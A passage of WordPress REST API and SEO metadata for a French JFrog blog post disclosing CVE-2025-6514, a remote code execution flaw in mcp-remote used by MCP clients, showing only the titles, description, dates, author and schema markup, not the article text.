Protocol.\",\"breadcrumb\":{\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/#breadcrumb\"},\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/jfrog.com\/fr\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/jfrog.com\/fr\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/jfrog.com\/fr\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Vuln\u00e9rabilit\u00e9 critique d\u2019ex\u00e9cution de code \u00e0 distance dans mcp-remote\u00a0: la CVE-2025-6514 menace les clients de LLM\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/jfrog.com\/fr\/#website\",\"url\":\"https:\/\/jfrog.com\/fr\/\",\"name\":\"JFrog\",\"description\":\"Deliver Trusted Software Releases at Speed and Scale\",\"publisher\":{\"@id\":\"https:\/\/jfrog.com\/fr\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/jfrog.com\/fr\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"fr-FR\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/jfrog.com\/fr\/#organization\",\"name\":\"JFrog\",\"url\":\"https:\/\/jfrog.com\/fr\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg\",\"contentUrl\":\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg\",\"width\":74,\"height\":73,\"caption\":\"JFrog\"},\"image\":{\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/artifrog\",\"https:\/\/x.com\/jfrog\",\"https:\/\/www.linkedin.com\/company\/455737\",\"https:\/\/www.youtube.com\/channel\/UCh2hNg76zo3d1qQqTWIQxDg\",\"https:\/\/www.wikidata.org\/wiki\/Q98608948\"],\"description\":\"We set out on our Liquid Software journey in 2008, with the mission to transform the way enterprises manage and release software updates. The world expects software to update continuously, securely, non-intrusively and without user intervention. This hyper-connected experience can only be enabled by automation with an end-to-end DevOps platform and a binary-centric focus. With this in mind, we\u2019ve developed the JFrog Platform, ushering in a new era of DevOps and DevSecOps standards that power continuous updates. More than a decade after our founding, with thousands of customers and millions of users globally, JFrog has become the \u201cDatabase of DevOps\u201d and the de-facto standard in release and update management.\",\"legalName\":\"Jfrog, Inc.\",\"numberOfEmployees\":{\"@type\":\"QuantitativeValue\",\"minValue\":\"1001\",\"maxValue\":\"5000\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28\",\"name\":\"drewt\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\/\/jfrog.com\/fr\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g\",\"caption\":\"drewt\"}}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"La CVE-2025-6514 menace les clients de LLM","description":"D\u00e9couvrez comment l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a d\u00e9couvert et signal\u00e9 la CVE-6514, une vuln\u00e9rabilit\u00e9 critique dans le projet mcp-remote utilis\u00e9 par les clients du Model Context Protocol.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/174283","og_locale":"fr_FR","og_type":"article","og_title":"Vuln\u00e9rabilit\u00e9 critique d\u2019ex\u00e9cution de code \u00e0 distance dans mcp-remote\u00a0: la CVE-2025-6514 menace les clients de LLM","og_description":"D\u00e9couvrez comment l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a d\u00e9couvert et signal\u00e9 la CVE-6514, une vuln\u00e9rabilit\u00e9 critique dans le projet mcp-remote utilis\u00e9 par les clients du Model Context Protocol.","og_url":"https:\/\/jfrog.com\/fr\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/","og_site_name":"JFrog","article_publisher":"https:\/\/www.facebook.com\/artifrog","article_published_time":"2026-09-14T09:06:22+00:00","article_modified_time":"2026-09-14T10:36:48+00:00","og_image":[{"url":"https:\/\/media.jfrog.com\/wp-content\/uploads\/2025\/07\/06204255\/MCP-Remote-Clients-Exposed-to-Remote-Code-Execution.png"}],"author":"drewt","twitter_card":"summary_large_image","twitter_creator":"@jfrog","twitter_site":"@jfrog","twitter_misc":{"Written by":"drewt","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/jfrog.com\/fr\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/#article","isPartOf":{"@id":"https:\/\/jfrog.com\/fr\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/"},"author":{"name":"drewt","@id":"https:\/\/jfrog.com\/fr\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28"},"headline":"Vuln\u00e9rabilit\u00e9 critique d\u2019ex\u00e9cution de code \u00e0 distance dans mcp-remote\u00a0: la CVE-2025-6514 menace les clients de LLM","datePublished":"2026-09-14T09:06:22+00:00","dateModified":"2026-09-14T10:36:48+00:00","mainEntityOfPage":{"@id":"https:\/\/jfrog.com\/fr\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/"},"wordCount":2769,"publisher":{"@id":"https:\/\/jfrog.com\/fr\/#organization"},"keywords":["rce","mcp","CVE","vuln\u00e9rabilit\u00e9s","securite-recherche"],"articleSection":["S\u00e9curit\u00e9 et DevSecOps"],"inLanguage":"fr-FR"},{"@type":"WebPage","@id":"https:\/\/jfrog.com\/fr\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/","url":"https:\/\/jfrog.com\/fr\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/","name":"La CVE-2025-6514 menace les clients de LLM","isPartOf":{"@id":"https:\/\/jfrog.com\/fr\/#website"},"datePublished":"2026-09-14T09:06:22+00:00","dateModified":"2026-09-14T10:36:48+00:00","description":"D\u00e9couvrez comment l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a d\u00e9couvert et signal\u00e9 la CVE-6514, une vuln\u00e9rabilit\u00e9 critique dans le projet mcp-remote utilis\u00e9 par les clients du Model Context Protocol.","breadcrumb":{"@id":"https:\/\/jfrog.com\/fr\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/#breadcrumb"},"inLanguage":"fr-FR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/jfrog.com\/fr\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/jfrog.com\/fr\/blog\/2025-6514-critical-mcp-remote-rce-vulnerability\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/jfrog.com\/fr\/"},{"@type":"ListItem","position":2,"name":"Vuln\u00e9rabilit\u00e9 critique d\u2019ex\u00e9cution de code \u00e0 distance dans mcp-remote\u00a0: la CVE-2025-6514 menace les clients de LLM"}]},{"@type":"WebSite","@id":"https:\/\/jfrog.com\/fr\/#website","url":"https:\/\/jfrog.com\/fr\/","name":"JFrog","description":"Deliver Trusted Software Releases at Speed and Scale","publisher":{"@id":"https:\/\/jfrog.com\/fr\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/jfrog.com\/fr\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"fr-FR"},{"@type":"Organization","@id":"https:\/\/jfrog.com\/fr\/#organization","name":"JFrog","url":"https:\/\/jfrog.com\/fr\/","logo":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/jfrog.com\/fr\/#\/schema\/logo\/image\/","url":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg","contentUrl":"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2025\/05\/27095207\/Logo.svg","width":74,"height":73,"caption":"JFrog"},"image":{"@id":"https:\/\/jfrog.com\/fr\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/artifrog","https:\/\/x.com\/jfrog","https:\/\/www.linkedin.com\/company\/455737","https:\/\/www.youtube.com\/channel\/UCh2hNg76zo3d1qQqTWIQxDg","https:\/\/www.wikidata.org\/wiki\/Q98608948"],"description":"We set out on our Liquid Software journey in 2008, with the mission to transform the way enterprises manage and release software updates. The world expects software to update continuously, securely, non-intrusively and without user intervention. This hyper-connected experience can only be enabled by automation with an end-to-end DevOps platform and a binary-centric focus. With this in mind, we\u2019ve developed the JFrog Platform, ushering in a new era of DevOps and DevSecOps standards that power continuous updates. More than a decade after our founding, with thousands of customers and millions of users globally, JFrog has become the \u201cDatabase of DevOps\u201d and the de-facto standard in release and update management.","legalName":"Jfrog, Inc.","numberOfEmployees":{"@type":"QuantitativeValue","minValue":"1001","maxValue":"5000"}},{"@type":"Person","@id":"https:\/\/jfrog.com\/fr\/#\/schema\/person\/c84b32acf61c0b7c85a306cb03697b28","name":"drewt","image":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/jfrog.com\/fr\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/a9566b6b2e5e2e34deeb94dfeae460f70d7c7d08606c66ebb53f94a07386253c?s=96&d=mm&r=g","caption":"drewt"}}]}},"_links":{"self":[{"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/174283","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/users\/590"}],"replies":[{"embeddable":true,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/comments?post=174283"}],"version-history":[{"count":2,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/174283\/revisions"}],"predecessor-version":[{"id":174293,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/posts\/174283\/revisions\/174293"}],"wp:attachment":[{"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/media?parent=174283"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/categories?post=174283"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jfrog.com\/fr\/wp-json\/wp\/v2\/tags?post=174283"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}